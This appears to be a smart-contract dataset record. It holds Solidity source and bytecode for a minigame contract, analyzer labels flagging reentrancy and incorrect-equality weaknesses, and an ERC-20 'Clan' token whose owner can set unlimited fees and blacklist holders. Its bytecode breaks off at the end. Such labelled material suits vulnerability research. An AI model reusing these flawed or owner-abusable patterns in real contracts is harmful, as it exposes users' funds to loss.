&& minigames[ p.currentMiniGameId ].miningWarRoundNumber == miningWarRoundNumber) { // check current mini game of player join, last update mini game and current mining war round id // require this mini game is children of mining war game( is current mining war round id ) p.share = SafeMath.add(p.share, calculateShareCrystal(p.currentMiniGameId)); p.lastMiniGameId = p.currentMiniGameId; } } /** * @dev claim crystals */ function claimCrystal() public { // should run end round if ( minigames[miniGameId].endTime < now ) { endMiniGame(); } updateShareCrystal(); // update crystal for this player to main game uint256 crystalBonus = players[msg.sender].win + players[msg.sender].share; MiningWarContract.addCrystal(msg.sender,crystalBonus); // update player data. reset value win and share of player PlayerData storage p = players[msg.sender]; p.win = 0; p.share = 0; } /** * @dev calculate share crystal of player */ function calculateShareCrystal(uint256 _miniGameId) public view returns(uint256 _share) { PlayerData memory p = players[msg.sender]; if ( p.lastMiniGameId >= p.currentMiniGameId && p.currentMiniGameId != 0) { _share = 0; } else { _share = SafeMath.div( SafeMath.div( SafeMath.mul(minigames[ _miniGameId ].prizeCrystal, 50), 100 ), minigames[ _miniGameId ].totalPlayer ); } } function getMiningWarDealine () private view returns( uint256 _dealine ) { _dealine = MiningWarContract.deadline(); } function getMiningWarRoundNumber () private view returns( uint256 _roundNumber ) { _roundNumber = MiningWarContract.roundNumber(); } }
0x6080604052600436106100fb5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c69b1898114610100578063187fd079146101175780633281d5761461013e57806348a8b4271461016757806349462b531461017f57806359a02652146101d85780636231775b14610209578063744d0a921461021e57806375f289bc146102335780639831ca4d1461024b578063be7ccd7e14610260578063ca2cef511461027b578063cb9a20d014610290578063d7ecb5e3146102a5578063de8bf3b6146102ba578063decd8a25146102cf578063e2eb41ff146102e4578063f53d0a8e14610338575b600080fd5b34801561010c57600080fd5b5061011561034d565b005b34801561012357600080fd5b5061012c610437565b60408051918252519081900360200190f35b34801561014a57600080fd5b5061015361043d565b604080519115158252519081900360200190f35b34801561017357600080fd5b5061012c600435610442565b34801561018b57600080fd5b5061019760043561050c565b6040805197885295151560208801528686019490945260608601929092526080850152600160a060020a031660a084015260c0830152519081900360e00190f35b3480156101e457600080fd5b506101ed610556565b60408051600160a060020a039092168252519081900360200190f35b34801561021557600080fd5b5061012c610565565b34801561022a57600080fd5b5061012c61056b565b34801561023f57600080fd5b50610115600435610571565b34801561025757600080fd5b5061011561058d565b34801561026c57600080fd5b50610115600435602435610787565b34801561028757600080fd5b506101ed610878565b34801561029c57600080fd5b5061012c610887565b3480156102b157600080fd5b5061012c61088d565b3480156102c657600080fd5b5061012c610893565b3480156102db57600080fd5b5061012c610899565b3480156102f057600080fd5b50610305600160a060020a036004351661089f565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b34801561034457600080fd5b506101ed6108d4565b6006546000908152600a60205260408120600401548190421115610373576103736108e3565b61037b610a24565b336000818152600b6020526040808220600381015460029091015460085483517ff6e212ea00000000000000000000000000000000000000000000000000000000815260048101969096529101602485018190529151919550600160a060020a03169263f6e212ea92604480830193919282900301818387803b15801561040157600080fd5b505af1158015610415573d6000803e3d6000fd5b5050336000908152600b60205260408120600281018290556003015550505050565b60015481565b600190565b600061044c610d28565b50336000908152600b6020908152604091829020825160c08101845281548082526001830154938201849052600283015494820194909452600382015460608201526004820154608082015260059091015460a082015291118015906104b25750805115155b156104c05760009150610506565b6000838152600a6020526040902060020154610503906104ec906104e5906032610ad7565b6064610b0d565b6000858152600a6020526040902060060154610b0d565b91505b50919050565b600a602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154949560ff90941694929391929091600160a060020a03169087565b600554600160a060020a031681565b60065481565b60095481565b600054600160a060020a0316331461058857600080fd5b600955565b600032331461059b57600080fd5b6006546000908152600a602052604090206003015442108015906105d457506006546000908152600a602052604090206001015460ff16155b15156105df57600080fd5b50336000908152600b602090815260408083206006548452600a9092529091206004015442116106fb576006548154141561062457600481018054600101905561064f565b61062c610a24565b60068054825560016004830155546000908152600a602052604090205460058201555b600481015460011061067657600680546000908152600a6020526040902001805460010190555b600680546000908152600a60209081526040808320600501805473ffffffffffffffffffffffffffffffffffffffff1916331790556004805494548452928190208301805490940190935590830154825190815291517f2565721fc5267794b779224f650d9e5fea66a4cc4d49e23702a7fa1b861efef19281900390910190a1610784565b6006546000908152600a6020526040902060050154600160a060020a0316151561077c57610727610a24565b60068054808355600180840191909155600483015580546000908152600a60205260408082205460058086019190915592548252902001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b6107846108e3565b50565b6006546000908152600a6020526040902054821180156107b15750600554600160a060020a031633145b15156107bc57600080fd5b6040805160e081018252600080825260016020808401828152848601848152606086018581526080870186815260a0880187815260c08901888152600680548a52600a909752998820985189559351958801805460ff1916961515969096179095559051600287015551600386015591516004850155905160058401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905592519190920155600755610874610b24565b5050565b600854600160a060020a031681565b60045481565b60035481565b60075481565b60025481565b600b60205260009081526040902080546001820154600283015460038401546004850154600590950154939492939192909186565b600054600160a060020a031681565b6006546000908152600a6020526040812060010154819060ff1615801561091e57506006546000908152600a60205260409020600401544210155b151561092957600080fd5b6006546000908152600a602052604090206002015461094d906104e5906032610ad7565b6006546000908152600a6020526040902060050154909250600160a060020a0316156109a957506006546000908152600a6020908152604080832060050154600160a060020a03168352600b9091529020600281018054830190555b600680546000908152600a602090815260408083206001908101805460ff191690911790559254825290829020600501548251600160a060020a03909116815290810184905281517fdb32b3d80b7ca1141c1b65362e2c5b0e340c3b14e031e2648fcb2ae30ae13732929181900390910190a1610874610b24565b600080610a2f610c89565b336000908152600b60205260409020600581015491935091508214610a61576000600382018190556002820155610874565b80546000908152600a6020526040902060019081015460ff161515148015610a8d575080546001820154105b8015610aa8575080546000908152600a602052604090205482145b1561087457610ac78160030154610ac28360000154610442565b610d19565b6003820155805460018201555050565b600080831515610aea5760009150610b06565b50828202828482811515610afa57fe5b0414610b0257fe5b8091505b5092915050565b6000808284811515610b1b57fe5b04949350505050565b6000806000806000610b34610c89565b6006546000908152600a6020526040902060019081015491965060ff909116151514610b5f57600080fd5b6007541515610b8057610b796104e5600254600954610ad7565b9350610bb8565b60095460a8029250610bb5610bad600a600060065481526020019081526020016000206002015485610ad7565b612710610b0d565b93505b5050600380546001805460078054830190556006805483018082556040805160e081018252998a5260006020808c018281528c84019b8c524290980160608d01818152960160808d0190815260a08d0183815260c08e01848152958452600a909252929091209a518b559551948a01805460ff191695151595909517909455965160028901559051938701939093555160048601555160058501805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790559151929091019190915550565b600854604080517f4e2786fb0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a031691634e2786fb91600480830192602092919082900301818787803b158015610ce857600080fd5b505af1158015610cfc573d6000803e3d6000fd5b505050506040513d6020811015610d1257600080fd5b5051919050565b600082820183811015610b0257fe5b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000815250905600a165627a7a72305820ab5ef211989faf5f1db2c9b2318f6955fa8be250addcf14f8ee1a443fea5206b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,021
0x849630D9647c1FB78580A6320e053f308c6f09C1
// SPDX-License-Identifier: UNLICENSED /** Clan Stealth Launch. Very few socials before launch. You won't see this message until I verifiy. LP locked on launch. Keep an eye on telegram, twitter. Thank you for choosing Clan. tg @ClanPortal */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Clan is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Clan"; string private constant _symbol = "CLAN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xE052B5A5dDB64642a2c6cCd95Fb593C09CF50F18); address payable private _marketingAddress = payable(0xE052B5A5dDB64642a2c6cCd95Fb593C09CF50F18); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; //1% uint256 public _maxWalletSize = 1000000 * 10**9; //1% uint256 public _swapTokensAtAmount = 400000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610517578063dd62ed3e14610537578063ea1644d51461057d578063f2fde38b1461059d57600080fd5b8063a2a957bb14610492578063a9059cbb146104b2578063bfd79284146104d2578063c3c8cd801461050257600080fd5b80638f70ccf7116100d15780638f70ccf71461040f5780638f9a55c01461042f57806395d89b411461044557806398a5c3151461047257600080fd5b806374010ece146103bb5780637d1db4a5146103db5780638da5cb5b146103f157600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103515780636fc3eaec1461037157806370a0823114610386578063715018a6146103a657600080fd5b8063313ce567146102f557806349bd5a5e146103115780636b9990531461033157600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102bf5780632fd689e3146102df57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab5565b6105bd565b005b3480156101ff57600080fd5b5060408051808201909152600481526321b630b760e11b60208201525b6040516102299190611be7565b60405180910390f35b34801561023e57600080fd5b5061025261024d366004611a05565b61065c565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b5067016345785d8a00005b604051908152602001610229565b3480156102cb57600080fd5b506102526102da3660046119c4565b610673565b3480156102eb57600080fd5b506102b160185481565b34801561030157600080fd5b5060405160098152602001610229565b34801561031d57600080fd5b50601554610282906001600160a01b031681565b34801561033d57600080fd5b506101f161034c366004611951565b6106dc565b34801561035d57600080fd5b506101f161036c366004611b81565b610727565b34801561037d57600080fd5b506101f161076f565b34801561039257600080fd5b506102b16103a1366004611951565b6107ba565b3480156103b257600080fd5b506101f16107dc565b3480156103c757600080fd5b506101f16103d6366004611b9c565b610850565b3480156103e757600080fd5b506102b160165481565b3480156103fd57600080fd5b506000546001600160a01b0316610282565b34801561041b57600080fd5b506101f161042a366004611b81565b61087f565b34801561043b57600080fd5b506102b160175481565b34801561045157600080fd5b5060408051808201909152600481526321a620a760e11b602082015261021c565b34801561047e57600080fd5b506101f161048d366004611b9c565b6108c7565b34801561049e57600080fd5b506101f16104ad366004611bb5565b6108f6565b3480156104be57600080fd5b506102526104cd366004611a05565b610934565b3480156104de57600080fd5b506102526104ed366004611951565b60106020526000908152604090205460ff1681565b34801561050e57600080fd5b506101f1610941565b34801561052357600080fd5b506101f1610532366004611a31565b610995565b34801561054357600080fd5b506102b161055236600461198b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058957600080fd5b506101f1610598366004611b9c565b610a36565b3480156105a957600080fd5b506101f16105b8366004611951565b610a65565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016105e790611c3c565b60405180910390fd5b60005b81518110156106585760016010600084848151811061061457610614611d83565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065081611d52565b9150506105f3565b5050565b6000610669338484610b4f565b5060015b92915050565b6000610680848484610c73565b6106d284336106cd85604051806060016040528060288152602001611dc5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111af565b610b4f565b5060019392505050565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016105e790611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107515760405162461bcd60e51b81526004016105e790611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a457506013546001600160a01b0316336001600160a01b0316145b6107ad57600080fd5b476107b7816111e9565b50565b6001600160a01b03811660009081526002602052604081205461066d9061126e565b6000546001600160a01b031633146108065760405162461bcd60e51b81526004016105e790611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087a5760405162461bcd60e51b81526004016105e790611c3c565b601655565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016105e790611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f15760405162461bcd60e51b81526004016105e790611c3c565b601855565b6000546001600160a01b031633146109205760405162461bcd60e51b81526004016105e790611c3c565b600893909355600a91909155600955600b55565b6000610669338484610c73565b6012546001600160a01b0316336001600160a01b0316148061097657506013546001600160a01b0316336001600160a01b0316145b61097f57600080fd5b600061098a306107ba565b90506107b7816112f2565b6000546001600160a01b031633146109bf5760405162461bcd60e51b81526004016105e790611c3c565b60005b82811015610a305781600560008686858181106109e1576109e1611d83565b90506020020160208101906109f69190611951565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2881611d52565b9150506109c2565b50505050565b6000546001600160a01b03163314610a605760405162461bcd60e51b81526004016105e790611c3c565b601755565b6000546001600160a01b03163314610a8f5760405162461bcd60e51b81526004016105e790611c3c565b6001600160a01b038116610af45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e7565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e7565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e7565b60008111610d9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e7565b6000546001600160a01b03848116911614801590610dc757506000546001600160a01b03838116911614155b156110a857601554600160a01b900460ff16610e60576000546001600160a01b03848116911614610e605760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e7565b601654811115610eb25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e7565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef457506001600160a01b03821660009081526010602052604090205460ff16155b610f4c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e7565b6015546001600160a01b03838116911614610fd15760175481610f6e846107ba565b610f789190611ce2565b10610fd15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e7565b6000610fdc306107ba565b601854601654919250821015908210610ff55760165491505b80801561100c5750601554600160a81b900460ff16155b801561102657506015546001600160a01b03868116911614155b801561103b5750601554600160b01b900460ff165b801561106057506001600160a01b03851660009081526005602052604090205460ff16155b801561108557506001600160a01b03841660009081526005602052604090205460ff16155b156110a557611093826112f2565b4780156110a3576110a3476111e9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ea57506001600160a01b03831660009081526005602052604090205460ff165b8061111c57506015546001600160a01b0385811691161480159061111c57506015546001600160a01b03848116911614155b15611129575060006111a3565b6015546001600160a01b03858116911614801561115457506014546001600160a01b03848116911614155b1561116657600854600c55600954600d555b6015546001600160a01b03848116911614801561119157506014546001600160a01b03858116911614155b156111a357600a54600c55600b54600d555b610a308484848461147b565b600081848411156111d35760405162461bcd60e51b81526004016105e79190611be7565b5060006111e08486611d3b565b95945050505050565b6012546001600160a01b03166108fc6112038360026114a9565b6040518115909202916000818181858888f1935050505015801561122b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112468360026114a9565b6040518115909202916000818181858888f19350505050158015610658573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e7565b60006112df6114eb565b90506112eb83826114a9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611d83565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138e57600080fd5b505afa1580156113a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c6919061196e565b816001815181106113d9576113d9611d83565b6001600160a01b0392831660209182029290920101526014546113ff9130911684610b4f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611438908590600090869030904290600401611c71565b600060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114885761148861150e565b61149384848461153c565b80610a3057610a30600e54600c55600f54600d55565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b60008060006114f8611661565b909250905061150782826114a9565b9250505090565b600c5415801561151e5750600d54155b1561152557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154e876116a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158090876116fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115af9086611740565b6001600160a01b0389166000908152600260205260409020556115d18161179f565b6115db84836117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162091815260200190565b60405180910390a3505050505050505050565b600081836116545760405162461bcd60e51b81526004016105e79190611be7565b5060006111e08486611cfa565b600654600090819067016345785d8a000061167c82826114a9565b8210156116985750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006116be8a600c54600d5461180d565b92509250925060006116ce6114eb565b905060008060006116e18e878787611862565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111af565b60008061174d8385611ce2565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e7565b60006117a96114eb565b90506000611